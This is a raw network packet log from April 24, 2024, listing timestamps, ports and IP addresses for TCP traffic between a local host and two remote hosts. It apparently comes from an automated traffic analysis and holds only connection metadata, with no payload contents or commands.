Apr 24, 2024 14:43:17.434016943 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.434169054 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.434181929 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.434194088 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.434212923 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.434288979 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.434302092 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.434303999 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.434318066 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.434320927 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.434339046 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.434361935 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.434536934 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.434648991 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.434698105 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.434710979 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.434782982 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.434920073 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.434932947 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.434945107 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.434978008 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.435014009 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.435028076 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.435039043 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.435046911 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.435064077 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.435204029 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.435216904 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.435220003 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.435230017 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.435244083 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.435250044 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.435259104 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.435267925 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.435281992 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.435337067 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.435359955 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.435374022 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.435406923 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.435561895 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.435575962 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.435586929 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.435599089 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.435611010 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.435623884 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.435628891 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.435636997 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.435640097 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.435673952 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.435677052 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.435677052 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.435851097 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.435863972 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.435873985 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.435897112 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.436041117 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.436053991 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.436065912 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.436077118 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.436090946 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.436120987 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.436142921 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.436157942 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.436211109 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.436211109 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.436321020 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.436379910 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.436419010 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.436431885 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.436444998 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.436455965 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.436458111 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.436481953 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.436494112 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.436516047 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.436703920 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.436717987 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.436726093 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.436731100 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.436753988 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.436753988 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.436940908 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.436991930 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.436991930 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.437062979 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.437077045 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.437089920 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.437103033 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.437110901 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.437119961 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.437473059 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.437526941 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.437526941 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.437659025 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.437673092 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.437685966 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.437696934 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.437705994 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.437710047 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.437724113 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.437731981 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.437772036 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.437772036 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.437881947 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.437899113 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.437910080 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.437922955 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.437964916 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.437964916 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.438138008 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.438150883 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.438163996 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.438184023 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.438314915 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.438328981 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.438338995 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.438339949 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.438354015 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.438365936 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.438374996 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.438379049 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.438402891 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.438402891 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.438429117 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.438451052 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.438618898 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.438642025 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.438653946 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.438664913 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.438676119 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.438704967 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.438791990 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.438855886 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.438872099 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.438880920 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.438898087 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.438911915 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.438934088 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.439084053 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.439085007 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.439176083 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.439193010 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.439241886 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.439241886 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.439438105 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.439450979 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.439461946 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.439471006 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.439481974 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.439491987 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.439498901 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.439522982 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.439522982 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.439671040 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.439702988 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.439763069 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.439776897 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.439786911 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.439791918 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.439805031 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.439807892 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.439820051 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.439825058 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.439838886 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.439842939 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.439842939 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.439858913 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.439874887 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.439879894 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.439927101 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.439935923 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.439966917 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.440011024 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.440051079 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.440083027 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.440085888 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.440171003 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.440196037 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.440222979 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.440227985 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.440227985 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.440262079 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.440272093 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.440295935 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.440367937 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.440421104 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.440443039 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.440540075 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.440582991 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.440582991 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.440586090 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.440603971 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.440632105 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.440670013 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.440711975 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.440715075 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.440795898 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.440819979 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.440851927 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.440898895 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.440906048 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.440931082 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.440960884 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.440995932 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.441009998 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.441032887 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.441032887 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.441066027 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.441112041 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.441112041 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.441169024 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.441181898 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.441215038 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.441248894 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.441279888 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.441279888 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.441337109 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.441364050 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.441381931 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.441438913 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.441440105 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.441492081 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.441492081 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.442007065 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.442145109 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.442544937 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.442800999 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.442857981 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.442872047 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.442900896 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.443053961 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443068027 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443079948 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443092108 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443092108 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.443092108 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.443104982 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443109035 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.443120003 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443123102 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.443134069 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443145990 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443151951 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.443161011 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443173885 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443182945 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.443186998 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443202019 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443213940 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.443213940 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.443216085 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443229914 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443238020 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.443243027 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443258047 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443267107 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.443272114 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443288088 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443296909 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.443300962 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443312883 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443325043 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443335056 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.443337917 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.443356037 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.443418026 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.458597898 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:17.501441002 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:17.759809017 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.759852886 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.759886026 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.759926081 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.760023117 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.760030031 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.760085106 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.760127068 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.760361910 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.760473967 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.760473967 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.760539055 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.760716915 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.760747910 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.760782003 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.760812998 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.760874033 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.760912895 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.760958910 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.761013031 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.761066914 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.761085033 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.761123896 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.761163950 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.761209965 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.761215925 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.761293888 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.761354923 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.761354923 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.761387110 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.761415005 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.761461020 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.761528015 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.761549950 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.761576891 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.761679888 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.761679888 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.761769056 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.761790037 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.761837006 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.761869907 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.761909962 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.761925936 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.761943102 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.761970043 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.761981010 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.761981010 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.762022972 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.762061119 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.762096882 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.762130022 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.762145996 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.762171984 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.762171984 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.762178898 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.762190104 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.762248039 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.762257099 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.762346983 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.762361050 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.762399912 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.762434006 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.762515068 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:17.762562037 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:17.762562037 CEST	49710	80	192.168.2.8	193.233.132.175
